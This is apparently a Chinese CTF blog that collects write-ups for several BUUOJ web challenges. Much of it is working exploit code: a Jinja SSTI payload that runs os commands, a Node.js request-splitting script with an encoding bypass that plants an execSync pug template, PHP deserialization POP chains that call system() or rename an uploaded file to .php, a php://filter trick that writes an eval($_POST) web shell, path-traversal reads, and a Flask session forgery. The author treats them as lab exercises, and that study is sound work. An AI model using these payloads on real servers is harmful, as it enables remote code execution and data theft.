[CISCN2019 华东南赛区]Double Secret
就是一个页面,看上去没东西;用Burpsuite卡一下也没有显示。
扫描器试一下;扫描到了robots.txt
提示是安卓,所以这个可能是和Java的后台有关系;
然后不会了,去查题解知道有个目录是/secret,登一下
随便编造一下就挂了,观察错误信息
关键信息被泄露
然后上网找个RC4脚本,修改后使用
import sys,os,hashlib,time,base64
import urllib.parse
class rc4:
def __init__(self,public_key = None):
self.public_key = public_key
def encode(self,string):
self.result = ''
self.docrypt(string)
self.result = urllib.parse.quote(self.result.encode("UTF-8"))
return self.result
def decode(self,string):
self.result = ''
string = urllib.parse.unquote(string)
self.docrypt(string)
return self.result
def docrypt(self,string):
string_lenth = len(string)
result = ''
box = list(range(256))
randkey = []
key_lenth = len(self.public_key)
for i in range(256):
randkey.append(ord(self.public_key[i % key_lenth]))
j = 0
for i in range(256):
j = (j + box[i] + randkey[i]) % 256
box[i],box[j] = box[j],box[i]
a = j = 0
for i in range(string_lenth):
a = (a + 1) % 256
j = (j + box[a]) % 256
box[a],box[j] = box[j],box[a]
self.result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
rc = rc4('HereIsTreasure')
temp = rc.encode("{{[]['__class__']['__bases__'][0]['__subclasses__']()[59]['__init__']['__globals__']['__builtins__']['eval']("__import__('os').popen('ls /').read()")}}")
print(temp)
然后就是SSTI的标准方式
"{{[]['__class__']['__bases__'][0]['__subclasses__']()[59]['__init__']['__globals__']['__builtins__']['eval']("__import__('os').popen('tac /flag.txt').read()")}}"
跟原题一样有过滤的话,只需要base64输出即可。
[watevrCTF-2019]Cookie Store
一个购买页面
买就完事了
Cookie被修改了,我们解密一下
改就完事了
[GYCTF2020]Node Game
给了源码
var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');
var morgan = require('morgan');
const multer = require('multer');
app.use(multer({dest: './dist'}).array('file'));
app.use(morgan('short'));
app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
app.use("/template",express.static(path.join(__dirname, '/template')))
app.get('/', function(req, res) {
var action = req.query.action?req.query.action:"index";
if( action.includes("/") || action.includes("\") ){
res.send("Errrrr, You have been Blocked");
}
file = path.join(__dirname + '/template/'+ action +'.pug');
var html = pug.renderFile(file);
res.send(html);
});
app.post('/file_upload', function(req, res){
var ip = req.connection.remoteAddress;
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) {
obj.msg="only admin's ip can use it"
res.send(JSON.stringify(obj));
return
}
fs.readFile(req.files[0].path, function(err, data){
if(err){
obj.msg = 'upload failed';
res.send(JSON.stringify(obj));
}else{
var file_path = '/uploads/' + req.files[0].mimetype +"/";
var file_name = req.files[0].originalname
var dir_file = __dirname + file_path + file_name
if(!fs.existsSync(__dirname + file_path)){
try {
fs.mkdirSync(__dirname + file_path)
} catch (error) {
obj.msg = "file type error";
res.send(JSON.stringify(obj));
return
}
}
try {
fs.writeFileSync(dir_file,data)
obj = {
msg: 'upload success',
filename: file_path + file_name
}
} catch (error) {
obj.msg = 'upload failed';
}
res.send(JSON.stringify(obj));
}
})
})
app.get('/source', function(req, res) {
res.sendFile(path.join(__dirname + '/template/source.txt'));
});
app.get('/core', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:8081/source?' + q
console.log(url)
var trigger = blacklist(url);
if (trigger === true) {
res.send("<p> error occurs!</p>");
} else {
try {
http.get(url, function(resp) {
resp.setEncoding('utf8');
resp.on('error', function(err) {
if (err.code === "ECONNRESET") {
console.log("Timeout occurs");
return;
}
});
resp.on('data', function(chunk) {
try {
resps = chunk.toString();
res.send(resps);
}catch (e) {
res.send(e.message);
}
}).on('error', (e) => {
res.send(e.message);});
});
} catch (error) {
console.log(error);
}
}
} else {
res.send("search param 'q' missing!");
}
})
function blacklist(url) {
var evilwords = ["global", "process","mainModule","require","root","child_process","exec",""","'","!"];
var arrayLen = evilwords.length;
for (var i = 0; i < arrayLen; i++) {
const trigger = url.includes(evilwords[i]);
if (trigger === true) {
return true
}
}
}
var server = app.listen(8081, function() {
var host = server.address().address
var port = server.address().port
console.log("Example app listening at http://%s:%s", host, port)
})
然后就不会了,膜拜了一下题解后知道了新姿势:拆分请求大法
那么我可以把请求通过构造,弄成两个请求然后直接去拿到上传,然后利用action来进行SSRF。
抄个exp;总之也可以用字符串拼接等方法绕过。
import requests
import sys
payloadRaw = """x HTTP/1.1
POST /file_upload HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------12837266501973088788260782942
Content-Length: 6279
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/?action=upload
Upgrade-Insecure-Requests: 1
-----------------------------12837266501973088788260782942
Content-Disposition: form-data; name="file"; filename="flag.pug"
Content-Type: ../template
- var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('evalcmd').toString()")
- return x
-----------------------------12837266501973088788260782942--
"""
def getParm(payload):
payload = payload.replace(" ","%C4%A0")
payload = payload.replace("n","%C4%8D%C4%8A")
payload = payload.replace(""","%C4%A2")
payload = payload.replace("'","%C4%A7")
payload = payload.replace("`","%C5%A0")
payload = payload.replace("!","%C4%A1")
payload = payload.replace("+","%2B")
payload = payload.replace(";","%3B")
payload = payload.replace("&","%26")
# Bypass Waf
payload = payload.replace("global","%C5%A7%C5%AC%C5%AF%C5%A2%C5%A1%C5%AC")
payload = payload.replace("process","%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3")
payload = payload.replace("mainModule","%C5%AD%C5%A1%C5%A9%C5%AE%C5%8D%C5%AF%C5%A4%C5%B5%C5%AC%C5%A5")
payload = payload.replace("require","%C5%B2%C5%A5%C5%B1%C5%B5%C5%A9%C5%B2%C5%A5")
payload = payload.replace("root","%C5%B2%C5%AF%C5%AF%C5%B4")
payload = payload.replace("child_process","%C5%A3%C5%A8%C5%A9%C5%AC%C5%A4%C5%9F%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3")
payload = payload.replace("exec","%C5%A5%C5%B8%C5%A5%C5%A3")
return payload
def run(url,cmd):
payloadC = payloadRaw.replace("evalcmd",cmd)
urlC = url+"/core?q="+getParm(payloadC)
#print(getParm(payloadC))
rx = requests.get(urlC)
#print(rx.text)
return requests.get(url+"/?action=flag").text
if __name__ == '__main__':
targetUrl = 'http://f71b0533-d2ca-4e16-b23d-600f5f5799ae.node3.buuoj.cn'
cmd = 'cat /flag.txt'
print(run(targetUrl,cmd))
[GYCTF2020]EasyThinking
随便输错一下,发现这个是ThinkPHP 6.0系列的,所以我们用这个版本的漏洞。
然后不知道这个是啥漏洞,查了WP知道了。
复现一下
先是注册登录抓包
搜索写一句话
结果被disable了
那么我们要想办法绕过
写个传统一句话,用蚁剑试试
测试用PHP7 Backtrace UAF可以做到
然后执行/readflag就能读取flag了
[强网杯 2019]Upload
看起来是Discuz!平台的;
登录的时候经过了跳转,那个经典的笑脸图标很像是ThinkPHP系列的产物。
随便传个东西上去,发现传不上去;试试传个shell,显示为Forbidden Type。
传个小图片就可以;我们思考是不是要传个小的图片型shell上去;
重新注册账号,上传,可以发现传能传上去,但是后缀名会被更改成png,无法正常使用;不过检查文件内容是没有问题的。
找到敏感文件www.tar.gz
然后不会了,查了一下分析
需要通过一个反序列化利用
exp如下:
<?php
namespace appwebcontroller;
class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
}
class Register
{
public $checker;
public $registed;
}
$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "../public/upload/852aff287f54bca0ed7757a702913e50/af93955eaacfa5f296d1d021aa89b224.png";
$profile->filename = "../public/upload/852aff287f54bca0ed7757a702913e50/aaaa.php";
$register = new Register();
$register->registed = false;
$register->checker = $profile;
echo urlencode(base64_encode(serialize($register)));
?>
[WMCTF2020]Make PHP Great Again
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}
套足够多的娃,php就废了
http://caf2c2bf-10cc-4e47-bf3b-3dd0d0e22529.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/resource=/proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/flag.php
[WMCTF2020]Make PHP Great Again 2.0
和上一题一样的套路,不过据说上一题有个条件竞争写入session的做法,我这个做法就通用一点,都行
[WMCTF2020]webcheckin
存在www.zip,下载看源码
<?php
// Kickstart the framework
$f3=require('lib/base.php');
$f3->set('DEBUG',1);
if ((float)PCRE_VERSION<8.0)
trigger_error('PCRE version is out of date');
// Load configuration
$f3->config('config.ini');
$f3->route('GET /',
function($f3) {
echo "just get me a,don't do anything else";
}
);
unserialize($_GET['a']);
$f3->run();
可能是框架漏洞,也有可能是原生类反序列化;不过原生类主要是获得cookie之类,结合这题没人做,所以猜测是框架漏洞。
不过框架文件实在是有些大了,所以我们全局搜索一些可以用的魔术方法,尝试找点东西;
首先是关键的启动函数__destruct,很多反序列化漏洞都是从这里起步;然后找到一个类Agent(只有这个类__destruct有东西),那么思考这个类在干啥
function __destruct() {
if (isset($this->server->events['disconnect']) &&
is_callable($func=$this->server->events['disconnect']))
$func($this);
}
观察一下,这个方法是判断一个东西能不能执行,然后能执行的话执行一个东西;
那么外壳确定是用Agent套了,然后内部选择合适的server变量来启动:首先得有events变量,方便操作;那么我们就发现了WS类存在,同时有一个东西叫read,所以我们可以尝试来读取内容(比如flag),。但是我们没办法控制上面Agent内部套出来的$this,所以这样搞就不对了。那么我们需要别的函数来进行操作;
然后不会了,查题解去
找到了Mapper作为可控制__call的函数组合,那么我们来操作一下试试
<?php
namespace DBSQL{
class Mapper{
//@{ Error messages
const
E_PKey='Table %s does not have a primary key';
//@}
protected
//! Dynamic properties
$props=[];
function __construct($p){
$this->props=$p;
}
}
}
namespace CLI{
class Agent {
protected
$server,
$socket;
function __construct($s,$s2){
$this->server=$s;
$this->socket=$s2;
}
}
class WS {
const
//! UUID magic string
Magic='258EAFA5-E914-47DA-95CA-C5AB0DC85B11',
//! Max packet size
Packet=65536;
//@{ Mask bits for first byte of header
const
Text=0x01,
Binary=0x02,
Close=0x08,
Ping=0x09,
Pong=0x0a,
OpCode=0x0f,
Finale=0x80;
//@}
//@{ Mask bits for second byte of header
const
Length=0x7f;
//@}
protected
$events=[];
function __construct($e){
$this->events=$e;
}
}
}
namespace {
class Basket{
public
$events=[];
function __construct($e){
$this->events=$e;
}
}
$A = new DBSQLMapper(array('read'=>'system'));
$B = new CLIAgent($A,'cat /etc/flagzaizheli');
$C = new Basket(array('disconnect'=>array($B,'fetch')));
$D = new CLIAgent($C,'');
$E = new CLIWS($D);
print_r(urlencode(serialize($E)));
}
?>
流程大致如下:先通过WS引入Agent,然后Agent的server存在events,从而执行disconnect带来的第一个参数类的fetch函数;这里数组比较奇妙,实验一下如下:
也就是Basket当成了类名,events是函数名。
然后这个events需要是public的,否则读取不了;
最后就是之前的套娃,这样就能够访问自定义可控函数了。
最终执行效果如下:
[WMCTF2020]Web Check in
很想吐槽这个相似的名字。。。
然后就很怪,我当初在打的时候用的直接读取这把就读取不了了。。。。
那就得想想办法了;我记得N1CTF2020里面有个套路,就是在用伪协议的时候套一个<?php xxxxx,这样就可以奇妙的执行代码,把一道复杂的PHP源文件凑命令变成了一道大水题;不过这个题目貌似不能这么搞;
不过我们可以用到一个技巧:弄几个过滤器,套起来之后就可以奇妙的过滤掉这个空格,然后就行了
php://filter/zlib.deflate|string.tolower|zlib.inflate/resource=?><?php%0deval($_POST[cmd]);?>
这里必须要用%0d,否则会被过滤器过滤掉,之前那个exit的空格就是这么过滤的。
蚁剑连接拿flag。
注:相同的操作方法有些时候会莫名其妙失败,挺奇怪的
[CISCN2019 华东南赛区]Web4
可以访问文件,url可以直接写入文件地址进行访问
先访问位置
http://4c2d125b-1cf7-4ec3-83d3-6fe8547b13dc.node3.buuoj.cn/read?url=/proc/self/cmdline
/usr/local/bin/python /app/app.py
然后读取源码
# http://4c2d125b-1cf7-4ec3-83d3-6fe8547b13dc.node3.buuoj.cn/read?url=/app/app.py
# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True
@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'
@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'
if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)
伪随机数,执行了命令uuid.getnode(),观察执行方法
观察实际上是执行了啥
实际上是通过MAC地址确定的值,我们找个办法读取
http://a107fa09-2f4c-4520-acb1-de6b4aa62baf.node3.buuoj.cn/read?url=/sys/class/net/eth0/address
02:42:ac:10:9a:38
使用这个工具来进行解密
修正一下,改成合适的username重写;
替换掉Cookie后得到答案。
Comments NOTHING